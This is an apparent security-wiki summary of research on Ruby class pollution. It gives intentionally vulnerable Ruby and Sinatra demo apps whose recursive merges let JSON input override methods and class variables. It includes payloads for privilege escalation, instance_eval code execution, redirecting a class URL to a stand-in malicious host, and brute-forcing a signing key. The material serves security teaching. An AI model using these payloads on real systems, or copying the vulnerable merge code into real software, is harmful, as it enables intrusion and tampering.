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  • Merge on Attributes
  • Poison the Classes
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  1. Deserialization

Ruby Class Pollution

PreviousJNDI - Java Naming and Directory Interface & Log4ShellNextPage 1

Last updated 3 months ago

Reading time: 8 minutes

This is a summary from the post

Example:

ruby

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  # Method to merge additional data into the object
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  # Authorize based on the `to_s` method result
  def authorize
    if to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end

  # Health check that executes all protected methods using `instance_eval`
  def health_check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end

  private

  # VULNERABLE FUNCTION that can be abused to merge attributes
  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|

      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end

  protected

  def check_cpu
    puts "CPU check passed."
  end

  def check_memory
    puts "Memory check passed."
  end
end

# Admin class inherits from Person
class Admin < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end

  def to_s
    "Admin"
  end
end

# Regular user class inherits from Person
class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end

  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)

    # Instantiate a regular user
    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )


    # Perform a recursive merge, which could override methods
    user.merge_with(additional_object)

    # Authorize the user (privilege escalation vulnerability)
    # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.authorize

    # Execute health check (RCE vulnerability)
    # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.health_check

  end
end

if ARGV.length != 1
  puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
  exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)
  1. Privilege Escalation: The authorize method checks if to_s returns "Admin." By injecting a new to_s attribute through JSON, an attacker can make the to_s method return "Admin," granting unauthorized privileges.

  2. Remote Code Execution: In health_check, instance_eval executes methods listed in protected_methods. If an attacker injects custom method names (like "puts 1"), instance_eval will execute it, leading to remote code execution (RCE).

    1. This is only possible because there is a vulnerable eval instruction executing the string value of that attribute.

  3. Impact Limitation: This vulnerability only affects individual instances, leaving other instances of User and Admin unaffected, thus limiting the scope of exploitation.

This isn't vulnerable by default but can be made vulnerable with something like:

ruby

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
  merged_hash = to_h.deep_merge(other_object)

  merged_hash.each do |key, value|
    self.class.attr_accessor key
    instance_variable_set("@#{key}", value)
  end

  self
end

Hashie’s deep_merge method operates directly on object attributes rather than plain hashes. It prevents replacement of methods with attributes in a merge with some exceptions: attributes that end with _, !, or ? can still be merged into the object.

Some special case is the attribute _ on its own. Just _ is an attribute that usually returns a Mash object. And because it's part of the exceptions, it's possible to modify it.

Check the following example how passing {"_": "Admin"} one is able to bypass _.to_s == "Admin":

ruby

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

  # Method to merge additional data into the object using hashie
  def merge_with(other_object)
    deep_merge!(other_object)
    self
  end

  # Authorize based on to_s
  def authorize
    if _.to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end

end

# Admin class inherits from Person
class Admin < Person
  def to_s
    "Admin"
  end
end

# Regular user class inherits from Person
class User < Person
  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)

    # Instantiate a regular user
    user = User.new({
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    })

    # Perform a deep merge, which could override methods
    user.merge_with(additional_object)

    # Authorize the user (privilege escalation vulnerability)
    # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
    # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.authorize
  end
end

if ARGV.length != 1
  puts "Usage: ruby hashie.rb 'JSON_STRING'"
  exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

In the following example it's possible to find the class Person, and the the clases Admin and Regular which inherits from the Person class. It also has another class called KeySigner:

ruby

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end

  # Method to merge additional data into the object
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private

  # Recursive merge to modify instance variables
  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end
end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  # POST /merge - Infects class variables using JSON input
  post '/merge' do
    content_type :json
    json_input = JSON.parse(request.body.read)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)

    { status: 'merged' }.to_json
  end

  # GET /launch-curl-command - Activates the first gadget
  get '/launch-curl-command' do
    content_type :json

    # This gadget makes an HTTP request to the URL stored in the User class
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url, response_body: response.body }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end

  # Curl command to infect User class URL:
  # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

  # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
  get '/sign_with_subclass_key' do
    content_type :json

    # This gadget signs data using the signing key stored in KeySigner class
    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
  end

  # Curl command to infect KeySigner signing key (run in a loop until successful):
  # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

  # GET /check-infected-vars - Check if all variables have been infected
  get '/check-infected-vars' do
    content_type :json

    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end

  run! if app_file == $0
end

With this payload:

bash

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

It's possible to modify the value of the @@url attribute of the parent class Person.

With this payload:

bash

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

It's possible to brute-force the defined classes and at some point poison the class KeySigner modifying the value of signing_key by injected-signing-key.\

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
Merge on Attributes
Explanation
Real-World Cases
ActiveSupport’s deep_merge
Hashie’s deep_merge
Poison the Classes
Poison Parent Class
Poisoning Other Classes
References
https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html